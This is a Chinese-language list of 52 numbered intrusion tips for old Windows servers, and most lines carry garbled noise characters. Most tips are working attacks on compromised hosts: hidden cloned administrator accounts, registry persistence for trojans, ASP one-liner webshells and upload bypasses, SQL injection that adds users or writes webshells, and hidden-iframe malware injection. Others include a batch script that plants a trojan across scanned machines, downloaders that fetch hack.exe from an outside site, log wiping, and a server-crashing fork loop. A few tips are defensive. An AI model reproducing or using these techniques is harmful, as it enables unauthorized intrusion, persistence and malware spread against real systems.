Xp系统修改权限防止病毒或木马等破坏系统,cmd下,
( [2 x; @; U g3 p4 ~) G: f$ n& [0 Hcacls C:\windows\system32 /G hqw20:R' \% E3 U. `5 r; c) F; @, e
思是给hqw20这个用户只能读取SYSTEM32目录,但不能进行修改或写入) s( ?% ~) B w& Y4 t6 J
恢复方法:C:\>cacls C:\windows\system32 /G hqw20:F
5 M! m0 n# o9 r7 S t9 [5 M0 N6 a. {" ?. q" B/ Z9 k& G
2、用Microsoft自带的IExpress工具作的捆绑木马可以躲过很多杀毒软件,运行对话框中输入Iexpress。
" [; P. _2 w1 E# r8 X/ c+ B8 X* Q: C) ^+ c
3、内网使用灰鸽子,肉鸡上vidcs.exe -p端口,本地VIDCS里,VIDCS服务IP 填肉鸡的IP,VIDCS服务端口,就是给肉鸡开的端口,BINDIP添自己的内网IP,BIND端口 添8000,映射端口添8000。5 G9 Y1 {8 P- k& l$ F- |
0 `) s" l* }( W# u7 f( ^" @# e4、建立隐藏帐号,上次总结了用guest建立隐藏的管理员,这次再介绍一种,在cmd下建立一个ating$的用户,然后注册表下复制管理员的1F4里的F 值到ating$的F值,再把ating$改为$,这样在计算机管理的用户里看不到这个隐藏帐号
0 H; N- y$ L9 R( o: k! Q8 P& w
5 ~% V9 L( I7 H! a, O5、利用INF文件来修改注册表# h, }) q8 T+ N$ c( T' p
[Version]8 j, T6 w% B- Y) B9 M
Signature="$CHICAGO$"
; d" I ?# P- x+ Y" J8 i4 k[Defaultinstall]
9 U( e$ z+ M2 Y* U. ^* D7 }addREG=Ating
7 u. @% s j! f6 A[Ating]
9 C6 m _- w+ t5 n3 u# EHKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\system","disableregistrytools","0x00010001","1"
. R( b( a5 G/ L J4 k以上代码保存为inf格式,注意没有换行符,在命令行里导入inf的命令如下:+ h+ ?: ]; ^4 H- F' }
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 inf文件的具体路径8 a& }" w) R F9 w- _
其中HKEY_CLASSES_ROOT 简写为 HKCR,HKEY_CURRENT_USER 简写为 HKCU7 t& x; S" p% Z! D# D" r7 m# `; s
HKEY_LOCAL_MACHINE 简写为 HKLM,HKEY_USERS 简写为 HKU- [. w9 A; K5 C9 J, Y2 |
HKEY_CURRENT_CONFIG 简写为 HKCC
, S ?8 L6 h' N& @5 S0x00000000 代表的是 字符串值,0x00010001 代表的是 DWORD值4 x. C$ s& i3 M. ~
"1"这里代表是写入或删除注册表键值中的具体数据
/ ~2 o. |4 Y, y+ f/ T
/ l- O M D- {, `. s; U6、关于制作穿xp2防火墙的radmin,大家一定要会,各大黑客网站都有动画, f. k ?' M. L
多了一步就是在防火墙里添加个端口,然后导出其键值. r6 a8 r6 A/ z3 @& k
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]0 a" L m4 C. _8 v/ R0 Z
; E* d0 d* q# }' |! s+ m
7、系统启动时Alerter服务启动前启动木马程序ating.exe,此方法很隐蔽
; P: e# ?3 }! @' V: N在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\Image File Execution Options]下建立service.exe项,再在service.exe项建立一个Debugger的键(字符串值),键值填ating.exe的全路径。
. A! _ _3 j5 b9 c1 o
u% j# U$ h% I8、将ftp.exe传到服务器用来提权,可以先把它变成ating.gif格式的再用,迷惑管理员。1 z3 m# ?2 _7 V1 I
, L. s+ I+ U8 n% B Z
9、有时候在我们进入了网站后台,但是没有上传图片和备份等功能,得不到webshell,$ c2 S- y' o: t% B! W! p1 O
可是不能白来一场,可以看看发表公告或新闻支不支持html和script,支持的话加个frame马或者其他的什么。- Z% q p% b) ~3 _
1 u/ ^+ P/ y& F# w2 y10、用google帮我们找网站后台,搜索”filetype:asp site:www.hack6.com inurl:login”
+ b# n) Z" f# ~0 t
- E5 ^( n8 C% h- u9 P! T11、我们中了盗密码的木马后不要急于删除,一般这些木马都是把密码发到指定邮箱,我们可以用探嗅软件来找到邮箱的用户名和密码,比如安全焦点的xsniff,
; N g# G% r. I$ O4 U+ X! x用法:xsniff –pass –hide –log pass.txt
' ?" H2 J! R" e" N# _& p9 }6 n: @% |$ I5 N" J* |, ~5 a4 [
12、google搜索的艺术
; g9 \. D! j! Y, ^搜索关键字:“未闭合的引号”或“ADODB.Field.error”或“Either BOF or EOF in True”+ B) j$ v( u: k
或“字符串的语法错误”可以找到很多sql注入漏洞。# `' N0 g8 C' H
/ ^0 Y: a: V+ L; F
13、还可以搜一些木马的关键字,比如搜索“管理登陆 海洋顶端 inurl:asp”,搜到了说明此网站服务器的其中网站肯定有漏洞。3 G1 D n- I3 {# T& n. V0 z
# P' z4 y. x2 b2 B- N& {8 p14、cmd中输入 nc –vv –l –p 19872 F- P( T. `6 w4 y2 r
做个bat文件内容为sqlhello 起始ip 1433 终止ip 1987 扫鸡吃* r! H7 W4 Q) d' N4 \( \$ g* Z5 [
0 x; \/ v( \2 S1 Y' k" r( s15、制作T++木马,先写个ating.hta文件,内容为! y8 g( E: g7 l8 S/ N! G) X+ K( }; F
<script language="VBScript">0 p% ]) o7 u0 ~7 C4 e, A2 F
set wshshell=createobject ("wscript.shell" )
, I' w1 ?% ~( \" ^a=wshshell.run("你马的名称",1)2 b- o+ T+ A9 x x3 ]
window.close
8 y& H. d' v, a! q</script>
& [8 c$ t) z2 }( N% ~" |* L再用mshta生成T++木马,命令为mshta ating.hta ating.t++,用网页木马生成器生成网页木马。
+ K: Q: I0 x& t( U, ~8 O" S" h
9 W4 n* B/ F3 R# }16、搜索栏里输入" \0 T. n, }- Z0 y i
关键字%'and 1=1 and '%'='
7 c8 o# q' e/ j! ` r6 h关键字%'and 1=2 and '%'='
: C- M3 G& L D# s) O9 {比较不同处 可以作为注入的特征字符
/ H" _- F' q9 m7 J4 @( l( e6 d( s' G2 E: W& M
17、挂马代码<html>5 O5 p7 P! j: g: L. R, C, f, g' R
<iframe src="马的地址" width="0" height="0" frameborder="0"></iframe>/ n8 {$ C; z' P2 O0 b
</html>
% ~. g( r' s# d8 h( n6 W; |0 R/ B3 R' m: _, m$ c/ s; Y2 m
18、开启regedt32的SAM的管理员权限检查HKEY_LOCAL_MACHINE\SAM\SAM\和HKEY_LOCAL_MACHINE\SAM\SAM\下的管理员和guest的F键值,如果一样就是用被入侵过了,然后删了guest帐号,对方可以用guest帐号使用administraeors的权限,你也可以用这方法留住肉鸡, 这方法是简单克隆,4 a: K& `& `( l) e3 [$ X- J
net localgroup administrators还是可以看出Guest是管理员来。
2 O% B' H L6 _4 [# ?/ L
2 Q w3 s2 w% S( x* o- ~2 \6 M9 P7 @, G; a, D19、软件instsrv.exe 把.exe文件做成系统服务来启动 用来肉鸡挂QQ等
2 C2 {, Z& n4 `' i+ [ h用法: 安装: instsrv.exe 服务名称 路径
* ]4 I3 `3 z* |$ F( E* v- U卸载: instsrv.exe 服务名称 REMOVE
* a+ b) z" e" [4 a1 }" c7 z2 s2 W0 [# P( A3 w
, b: s& r f5 u" b; ?; K8 T21、SQL注入时工具---Internet选项---高级里找到显示友好的错误信息勾去掉
* C: o! k; g7 c, Q3 ]$ J不能注入时要第一时间想到%5c暴库。/ S3 g4 F; T6 e& Y) B1 _+ v. j
8 ]6 `) x' n9 j6 [% d* ]% A5 H22、很多网站程序(比如华硕中文官方网站)上传图片时有可能在检测文件的时候是 从左朝又进行检测,也就是说,他会检测文件是不是有.jpg,那么我们要是把文件改成:ating.jpg.asp试试。。由于还是ASP结尾,所以木马不会变~* \" V8 h* I) K1 a: [
8 B$ O. H j0 L2 g2 y
23、缺少xp_cmdshell时
, x7 T/ _/ K! u0 o1 l! g3 e2 x尝试恢复EXEC sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
$ ], @1 K5 w/ h假如恢复不成功,可以尝试直接加用户(针对开3389的)
h2 d2 x' v1 n0 \0 w' n( P+ {; ldeclare @o int
0 z0 v4 E5 ]5 b4 b u" i1 jexec sp_oacreate 'wscript.shell',@o out U* |$ E1 s# n( o
exec sp_oamethod @o,'run',NULL,'cmd.exe /c net user ating ating /add' 再提到管理员" z9 C4 c9 `: i8 e. Z
$ |: v E, v" r! ^6 o8 |
24.批量种植木马.bat" |; C3 F0 D+ `+ N' [* ~7 g
for /f %%i in (扫描地址.txt) do copy pc.exe %%i\admin$ 复制木马到扫描的计算机当中
7 P I; w) C: v% F' T$ w( ]& S# ^for /f %%i in (扫描地址.txt) do at %%i 09:50 pc.exe 在对方计算机上运行木马的时间' U# V/ C1 d0 u, ^$ b6 f- e
扫描地址.txt里每个主机名一行 用\\开头# E! {5 d; J5 d! @6 [$ M& w) h
W6 f* d7 \7 k
25、在程序上传shell过程中,程序不允许包含<% %>标记符号的内容的文件上传,比如蓝屏最小 的asp木马<%execute request("l")%>,我们来把他的标签换一下: <script language=VBScript runat=server>execute request("l")</Script> 保存为.asp,程序照样执行。2 b z. b$ [6 s6 O& e
2 b* y) B, [7 N+ S* H8 x26、IIS6 For Windows 2003 Enterprise Edition 如IIS发布目录文件夹包含.asp后辍名.7 x/ E* z& d) W* r, m' i
将.asp后辍改为.jpg或其它的如.htm,也可以运行asp,但要在.asp文件夹下./ V2 B8 R$ g& u( B9 p2 J% K0 I! o
.cer 等后缀的文件夹下都可以运行任何后缀的asp木马
: F$ n8 b& ?9 W" F+ p
! q% l! V* E# s3 ^: G/ [27、telnet一台交换机 然后在telnet控制主机 控制主机留下的是交换机的IP
# @ @4 _ K+ u: g5 H l然后用#clear logg和#clear line vty *删除日志
4 ^9 {% T1 f# _) O; O7 Q' B
* C7 Q, h- r1 L1 E$ Y+ f28、电脑坏了省去重新安装系统的方法
" v- ]5 X$ ?0 |! @1 U% }纯dos下执行,% ~" M) J. L0 D
xp:copy C:\WINDOWS\repair\*.* 到 c:\windows\system32\config
' w1 q$ U* I( m2k: copy C:\winnt\repair\*.* 到 c:\winnt\system32\config v u) {4 ]5 ]. g3 D _ k
) c) f% y! v2 W* J: x% `6 M$ X" f2 a29、解决TCP/IP筛选 在注册表里有三处,分别是:8 [ \1 j) v9 T
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
* i" d$ [( P5 ?5 N6 d6 JHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip/ d2 F J0 N' ^( T; S2 t0 e
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip% y7 g* K6 y. ]( S: B; g) {$ {
分别用$ ?' j0 B8 O) K0 B9 ?" C/ t
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip' {- j2 H1 ?6 O$ q6 H4 t6 P
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip/ f7 N& K! c/ h, D
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip E% E- T1 u: c5 [. C
命令来导出注册表项/ W6 a6 M0 r% R8 [
然后把三个文件里的EnableSecurityFilters"=dword:00000001,! _, s" h' c: R& @% A
改成EnableSecurityFilters"=dword:00000000 再将以上三个文件分别用
0 \, E3 j/ s8 N) p! R3 j' |regedit -s D:\a.reg regedit -s D:\b.reg regedit -s D:\c.reg 导入注册表即可。
: b5 ]# Y: E. x, W2 P6 p& W/ Z, c7 K' }; x
30、使CHM木马无法在本地运行木马程序 将注册表"HKEY_CURRENT_U7 ?. H' R% ~( b5 ` T; o2 K
SER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0"下的1004项的值由原来十进制的0改为十六进制的36 @& S7 C/ Y- ^( z
0 y3 d0 r/ q- s31、全手工打造开3389工具
8 g( Q- @4 a+ n* A' c; M/ M" Z0 n) K打开记事本,编辑内容如下:
4 \0 O: H% \/ {6 \7 d/ Techo [Components] > c:\sql
j, R- f' _ c: V s; V& Decho TSEnable = on >> c:\sql
3 @7 w- {' M3 ^1 Msysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q/ _( t# l. ], H: e* l3 p; B6 ^
编辑好后存为BAT文件,上传至肉鸡,执行% f. L8 F" F8 z5 e; p9 s
3 U) v5 e% ^) ~ s' I) ~% d32、挂马js代码document.write('<iframe height=0 width=0 src="木马地址.htm"></iframe>');保存到js页面里 可让所有页面挂马
4 s- _ c$ `) @9 `6 _, H3 q) @! I2 O1 M
33、让服务器重启
' Z, d* c( }7 [- X" e. H# v- ]写个bat死循环:" v0 @) R( p. [, X. Y# F8 H. |
@echo off1 y) p- }2 r. E
:loop17 t O+ G- D. l/ ^" n, k
cls8 { P% G+ J% g
start cmd.exe
( u+ p( d- L7 M$ T& F! H) Ugoto loop1
0 O s0 }+ J# ~2 P$ {保存成bat guset权限就可以运行 运行后很快服务器就会死机 管理员自然会去重启. G! f" P4 [" z; q& r
/ n8 x5 u+ Y! x9 k M7 X34、如果你登录肉鸡的3389时发现有cmd一闪而过,那你可要小心了,管理员写了个bat在监视你,
8 R: h& N/ U$ l7 E@echo off% g% U! y3 x( \
date /t >c:/3389.txt/ C$ W3 a) l% L+ V- T
time /t >>c:/3389.txt9 F- m9 `- v. j
attrib +s +h c:/3389.bat# k3 m I* H0 [3 B# s
attrib +s +h c:/3389.txt0 q( [/ u1 D' {8 `, r
netstat -an |find "ESTABLISHED" |find ":3389" >>c:/3389.txt
3 J5 ] w: b, M3 z; ^" G+ G并保存为3389.bat6 L+ o' H% n4 g. R6 @3 t
打开注册表找到:Userinit这个键值 在末尾加入3389.bat所在的位置,比如我放到C盘,就写:,c:/3389.bat,注意一定要加个逗号
" M8 y3 i3 p# O1 ~. A3 S" I: G7 r! V/ i8 X8 v# _ D+ v
35、有时候提不了权限的话,试试这个命令,在命令行里输入:
- v" T2 _9 g0 ?9 v- z* ~, [( d6 vstart http://www.hack520.org/muma.htm然后点执行。(muma.htm是你上传好的漏洞网页)
& z* U! `+ d3 Q. {/ ?输入:netstat -an | find "28876" 看看是否成功绑定,如果有就telnet上去,就有了system权限,当然也可以nc连接,本地执行命令。
5 Z' @ z( C4 ?/ o& |
: v& O7 ^' z# Y/ Y; K7 O36、在cmd下用ftp上传马方法,我们可以用echo 写一个批处理文件( J4 r, K8 s6 P. L
echo open 你的FTP空间地址 >c:\1.bat //输入你的FTP地址
j( G) H/ w* k. U5 b2 A6 `8 Necho 你的FTP账号 >>c:\1.bat //输入账号. H7 e* `* n5 w" d5 l9 P
echo 你的FTP密码 >>c:\1.bat //输入密码
7 V6 w* J7 z6 u' V! E4 ^echo bin >>c:\1.bat //登入4 l! O3 J" p6 I" ^( F
echo get 你的木马名 c:\ ating.exe >>c:\1.bat //下载某文件到某地方并改名为什么/ V! @$ j" p$ V# o c
echo bye >>c:\1.bat //退出
+ }3 z; a! N4 X/ Y8 ~2 ^2 ]: X; d然后执行ftp -s:c:\1.bat即可5 P* a( E( [* o6 D n4 q; C
* F) q% X6 y% f2 r1 R
37、修改注册表开3389两法
* i4 j; J8 ~' N/ ?4 h(1)win2000下开终端 首先用ECHO写一个3389.reg文件,然后导入到注册表
" {* `% F+ C: \( W/ f, iecho Windows Registry Editor Version 5.00 >>3389.reg
# \4 |5 `6 D5 F Zecho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg- B8 ^, F1 U7 f$ {! ]4 k: q) |
echo "Enabled"="0" >>3389.reg
( G' G& `8 J+ {! ~echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
; B, N1 q: t; J- m ZNT\CurrentVersion\Winlogon] >>3389.reg, \( ~+ `+ J5 E
echo "ShutdownWithoutLogon"="0" >>3389.reg
7 O$ p' C+ U0 A7 R& w& Decho [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] K+ I1 U, B2 g: ]4 J
>>3389.reg7 g# O. O% Y7 f T' J& K
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
; y" F9 m+ D, v& g5 t9 c; H% wecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
0 y2 q5 \' l3 F2 q>>3389.reg# R# b: n0 _0 N; i2 Q {1 J0 H& W
echo "TSEnabled"=dword:00000001 >>3389.reg' z5 G' G" C# J8 _
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg5 h/ w5 F3 j0 e& r) {9 G3 g
echo "Start"=dword:00000002 >>3389.reg& _; X( ~2 p, S7 m$ p/ X
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]3 Z9 W. P/ o3 p
>>3389.reg
8 t% B; N- @+ U& Zecho "Start"=dword:00000002 >>3389.reg
, p& F, O* u$ ?) f$ ~4 yecho [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg
& R( l) [" I, H2 K4 ]7 becho "Hotkey"="1" >>3389.reg
$ Y3 j2 D1 T: e( x2 j) @& Jecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal$ t3 d( x: w. D' ?5 u0 h7 J
Server\Wds\rdpwd\Tds\tcp] >>3389.reg" ~3 x6 V; ?. B) R' N
echo "PortNumber"=dword:00000D3D >>3389.reg& H( l' g4 D5 c% [! H% ?
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal# u! n+ u6 m7 _. ?/ Q, X
Server\WinStations\RDP-Tcp] >>3389.reg
2 t; ?( _" y e' C# decho "PortNumber"=dword:00000D3D >>3389.reg
4 w( P2 `. I: i# b把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件,接着regedit /s 3389.reg导入注册表。# e: |; T0 ]8 U9 { t" c2 `4 r# @
(如果要改变终端端口只须把上面的两个D3D都改一下就可以了)4 B; o7 z5 o+ U: J
因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效
" O- E# m. u$ ~& U p% Q(2)winxp和win2003终端开启/ u4 b' o0 ]3 w. K' K
用以下ECHO代码写一个REG文件:' ~9 q4 ?3 H# k0 F% u
echo Windows Registry Editor Version 5.00>>3389.reg
, p4 A( s9 |5 e; fecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
; w6 l9 u Q, U+ i) aServer]>>3389.reg
6 Q3 u$ F7 I1 Becho "fDenyTSConnections"=dword:00000000>>3389.reg
& s& N( w0 l* M7 iecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
4 s: v, U% M$ t2 iServer\Wds\rdpwd\Tds\tcp]>>3389.reg
! w' L Z7 q' Z3 Y( r$ ?" Vecho "PortNumber"=dword:00000d3d>>3389.reg
) g8 {9 r* x, J7 ?0 ~5 @ s' Eecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
# | ]1 {$ I" ] @5 NServer\WinStations\RDP-Tcp]>>3389.reg
$ B( t$ i* X& C4 r/ V, e7 Oecho "PortNumber"=dword:00000d3d>>3389.reg
7 `1 x& q- ^ |然后regedit /s 3389.reg del 3389.reg
/ u7 L. d: A6 T2 \& ?; KXP下不论开终端还是改终端端口都不需重启 _8 ?# ?( f5 d7 f
& l/ `& G. a9 t$ ` \" c38、找到SA密码为空的肉鸡一定要第一时间改SA密码,防止别人和我们抢肉吃2 Q V1 I$ s: x/ \3 r- N
用查询分析器运行 EXEC sp_password NULL, '你要改的密码', 'sa'
5 W' d+ U3 j6 Y7 a. y- f6 s
& ~& k4 r$ F/ M# a39、加强数据库安全 先要声明把mdb改成asp是不能防止下载的!
4 y$ P6 |. z# @ ~9 x) E$ }(1)数据库文件名应复杂并要有特殊字符
Z6 w, j# B1 r+ ?) S8 J o7 B(2)不要把数据库名称写在conn.asp里,要用ODBC数据源
9 u$ {1 A! j( R! k将conn.asp文档中的
2 D) T( n- E x, `6 K6 C- sDBPath = Server.MapPath("数据库.mdb")
6 Z# I7 L' D0 b c/ N) t) E5 kconn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath0 k; V _9 w6 u
! d. ]/ N, w0 V. z2 ~6 u6 I* b修改为:conn.open "ODBC数据源名称," 然后指定数据库文件的位置
! e: ^0 Y) l, j& y1 w1 J(3)不放在WEB目录里
& s Y# t" @# R& P, c6 v5 r& }& B" I/ W
40、登陆终端后有两个东东很危险,query.exe和tsadmin.exe要Kill掉
6 [, b" m% ?+ o$ F p可以写两个bat文件 l- i, t t5 ?; g% A. T& O
@echo off
& m. _1 J4 [& p" ]2 u& J@copy c:\winnt\system32\query.exe c:\winnt\system32\com\1\que.exe
$ [& N2 t( s& p) F w' S@del c:\winnt\system32\query.exe% N/ d3 h: e. `# C6 {
@del %SYSTEMROOT%\system32\dllcache\query.exe0 F# ]* F/ a+ K/ m1 Q
@copy c:\winnt\system32\com\1\query.exe c:\winnt\system32\query.exe //复制一个假的1 u1 \$ d2 g! v: z) {9 i+ h h2 g
' }1 \% U# N; g0 Y: I0 u, C1 \
@echo off9 ^; ~/ |* U8 X& b8 J% O7 @: }
@copy c:\winnt\system32\tsadmin.exe c:\winnt\system32\com\1\tsadmin.exe
6 O8 \/ Y5 Y1 P' x) B@del c:\winnt\system32\tsadmin.exe! _: K |- K* ]8 O7 F
@del %SYSTEMROOT%\system32\dllcache\tsadmin.ex( U: n1 R1 Y1 n1 W* i# j
/ `1 _8 k; A9 z& n# p
41、映射对方盘符
/ |. `, p$ j6 I1 S( a# z) Wtelnet到他的机器上,9 ]. o( h f2 C
net share 查看有没有默认共享 如果没有,那么就接着运行
2 ?+ F. s2 T, U( l5 N- y4 onet share c$=c:. k/ s4 m- w. [0 U) Y
net share现在有c$& Q& x. {2 f O6 G& w+ y1 n9 o4 x
在自己的机器上运行* [& A, e6 g& u% {/ R) r' l
net use k: \\*.*.*.*\c$ 把目标共享映射到本地硬盘,盘符为K
" ~+ ~( w* Q: v/ O, X# D5 S/ P B u; O
42、一些很有用的老知识
+ ^ _( E$ ?( b- b. M( l$ _, ptype c:\boot.ini ( 查看系统版本 )
5 ]- n6 K6 R5 c+ {. Pnet start (查看已经启动的服务)8 r$ s; o+ M! C3 k( X5 ^$ O. u
query user ( 查看当前终端连接 )- a! l2 G1 u/ ^2 h! L- g
net user ( 查看当前用户 )5 t7 W! K" o& r
net user 用户 密码/add ( 建立账号 )
, J( G" T! Y" }( w+ unet localgroup administrators 用户 /add (提升某用户为管理员)6 G9 U# x1 P3 w3 \7 w! ~
ipconfig -all ( 查看IP什么的 )
3 F2 ?. U, V. Z& F4 W$ anetstat -an ( 查看当前网络状态 )
- V$ \: D; z- X$ ^, ^findpass 计算机名 管理员名 winlogon的pid (拿到管理员密码)
- J3 w4 A l9 f$ {克隆时Administrator对应1F4
- f& A( Q8 g0 R4 }guest对应1F5+ u. h1 O" b) Z& b5 J7 ?
tsinternetuser对应3E8" x# |! B5 B! }! r0 r
. ]5 D* j) s8 @. Z: [ }/ |43、如果对方没开3389,但是装了Remote Administrator Service
9 E2 p6 q- Z2 \* b; B0 R/ ]: [用这个命令F:\ftp.exe "regedit -s F:\longyi.biz\RAdmin.reg" 连接6 K- t( j: O7 g
解释:用serv-u漏洞导入自己配制好的radmin的注册表信息; e- ~* _, i& i6 w% s
先备份对方的F:\ftp.exe "regedit -e F:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\RAdmin"( O- y. C% y' G" K
2 T& j1 Y$ f- S/ [
44、用lcx做内网端口映射,先在肉鸡上监听 lcx -listen 52 8089 (端口自定)$ F7 X9 Q; k3 V& p0 e: X0 ?- _
本地上运行映射,lcx -slave 鸡的ip 52 我内网的ip 80 (我的WEB是80端口)
+ Z0 d: l9 O3 c
9 \# S# ]% w0 B; f# S! d# A45、在服务器写入vbs脚本下载指定文件(比如用nbsi利用注入漏洞写入)
) C2 q' M0 w$ K. ]. r+ }. x% becho Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open+ t& Q( l, o. |% ~* n2 b
^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s =) m; W+ T0 b% y, b/ Y1 T
CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type =
0 p7 s0 Z' e! m3 U" F5 C1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >ating.vbs
$ [( L6 p$ k- z; t(这是完整的一句话,其中没有换行符)/ P. r$ X/ H+ X
然后下载:
; ]9 o2 W8 |6 v( S6 i! Icscript down.vbs http://www.hack520.org/hack.exe hack.exe' `2 ]! Z- h5 [9 L
; v! ?& K0 k- o: n3 Z
46、一句话木马成功依赖于两个条件:
; `. l$ j! ~% E% ^ E% l% m6 A1、服务端没有禁止adodb.Stream或FSO组件/ b# l9 b8 @% I% U
2、权限问题:如果当前的虚拟目录禁止user级或everyone写入的话也是不会成功的。/ w4 Z2 L# i7 h9 o
/ ], E4 t* M5 Z' d- B5 g: u# E1 H
47、利用DB_OWNER权限进行手工备份一句话木马的代码:& g5 ?9 q+ u6 z: ^6 }) H) o
;alter database utsz set RECOVERY FULL--
% v7 L3 z3 ~, {3 S- F) `;create table cmd (a image)--3 d9 M. q. [9 ^1 [+ @ S" j3 S7 ]
;backup log utsz to disk = 'D:\cmd' with init--# @5 T. ` t( Q( ?2 t
;insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--* ~7 h9 Y; _6 O
;backup log utsz to disk = 'D:\utsz_web\utsz\hacker.asp'--3 s) X$ ]2 [2 }% P8 v
注:0x3C25657865637574652872657175657374282261222929253EDA为一句话木马的16进制形式。
+ S; @7 [& R6 D2 Z; R7 q8 j5 h0 c- d d1 c* F2 d
48、tlntadmn是telnet服务的设置命令,可以对telnet服务的端口、认证方式等进行设置:
. q( A$ s7 Q, O( P2 O- H& d* u& C% \6 T! N( m
用法: tlntadmn [computer name] [common_options] start | stop | pause | continue | -s | -k | -m | config config_options
- R( l9 |$ v0 @5 L所有会话用 'all'。4 {) W8 X- O8 f7 ~
-s sessionid 列出会话的信息。0 P# E& G `$ Z
-k sessionid 终止会话。
. h' A5 Q9 P9 M0 Q* t3 P; e-m sessionid 发送消息到会话。
3 V' Z& d0 O% p
+ W; `: @. v" a+ C( K' Oconfig 配置 telnet 服务器参数。
0 M5 Y/ F6 R% r, q( v
, w0 R; J6 i8 m& f4 [3 t7 gcommon_options 为:
; f! n' ?5 ]1 o* H* ]8 o0 j+ i-u user 指定要使用其凭据的用户
; }0 g$ j0 V, ~2 j-p password 用户密码
1 O1 {$ Q. e5 r' [; Y( D, @( P
% S* J# t9 v4 R! f! v0 Jconfig_options 为:& v- k& Z: s) o* a
dom = domain 设定用户的默认域
0 l' ?0 p) _1 j: B8 B* y. vctrlakeymap = yes|no 设定 ALT 键的映射
, {7 L( m1 _3 h& J2 h5 O+ Itimeout = hh:mm:ss 设定空闲会话超时值$ q* k) u/ m8 h5 S" e
timeoutactive = yes|no 启用空闲会话。
5 m1 s8 a$ J" y/ c( Z- X7 Kmaxfail = attempts 设定断开前失败的登录企图数。
, [) Q4 ^6 j- M0 {3 ~maxconn = connections 设定最大连接数。
; A7 C& w6 O: E# fport = number 设定 telnet 端口。
8 U- E) f2 a6 P# I! g4 r: \& P; ssec = [+/-]NTLM [+/-]passwd
* l# G2 t$ v; F7 A) p; O4 G设定身份验证机构4 b& l, V; m+ B- K
fname = file 指定审计文件名。# Q) W9 L5 H" H) p
fsize = size 指定审计文件的最大尺寸(MB)。* l7 B9 U2 Z2 j: l1 t$ Q
mode = console|stream 指定操作模式。
; a, _$ D* q0 X1 s1 k3 eauditlocation = eventlog|file|both1 W9 q$ v& E+ y( R' C3 ]
指定记录地点% D+ _- |' n# w
audit = [+/-]user [+/-]fail [+/-]admin
6 U/ m9 L7 P4 E# P8 L% Q
O" Z- O3 j# z1 X7 {, r49、例如:在IE上访问:
$ u2 ]8 n& H6 c, p, `) a/ }www.hack520.org/hack.txt就会跳转到http://www.hack520.org/0 V+ |* Q- {9 `) E; b
hack.txt里面的代码是:/ @. v* D. _, M1 ^/ {# {0 A0 J
<body> <META HTTP-EQUIV="Refresh" CONTENT="5;URL=http://www.hack520.org/">
9 r9 |- A; j! _: d' a把这个hack.txt发到你空间就可以了!$ B, [6 L& n+ _7 M* h e
这个可以利用来做网马哦!) l0 h5 t3 a: S+ ~- H H
& A- e! s# {5 }6 j V, O/ A5 y50、autorun的病毒可以通过手动限制!8 O$ K# x3 ]+ o! [( {+ g$ ?
1,养成好习惯,插入U盘或移动硬盘,都要按住shift让其禁止自动运行!, o* ?% M3 Z m+ G `
2,打开盘符用右键打开!切忌双击盘符~$ L% D& `& e% Z: q
3,可以利用rar软件查看根目录下autorun病毒并删除之!他可以处理一些连右键都无法打开的分区!
; B; U/ z3 Q3 T5 [) ]% x
% D9 R3 b; v, r) a2 R- d |51、log备份时的一句话木马:
* y+ d' T. Q) E6 L1 {a).<%%25Execute(request("go"))%%25>& T' V3 [/ s8 k" b: K! ?! g1 p- v) x
b).<%Execute(request("go"))%>
/ x8 u5 b' W8 o& Q" Zc).%><%execute request("go")%><%0 H9 K1 n; a6 o2 E6 T/ g j& |: i
d).<script language=VBScript runat=server>execute request("sb")</Script>+ t6 I" F) M3 n& n
e).<%25Execute(request("l"))%25>8 d$ `4 i4 T- ^8 }4 D
f).<%if request("cmd")<>"" then execute request("pass")%>
! c4 w) ]6 {7 g9 }3 V6 v) J& S o; |4 y7 B' G z
52、at "12:17" /interactive cmd
1 t' z# b' a/ N) R. R执行后可以用AT命令查看新加的任务* R$ M! p8 A" x9 K5 z' x* G' ^1 e0 o
用AT这个命令以交互的方式运行cmd.exe 这样运行的cmd.exe是system权限。
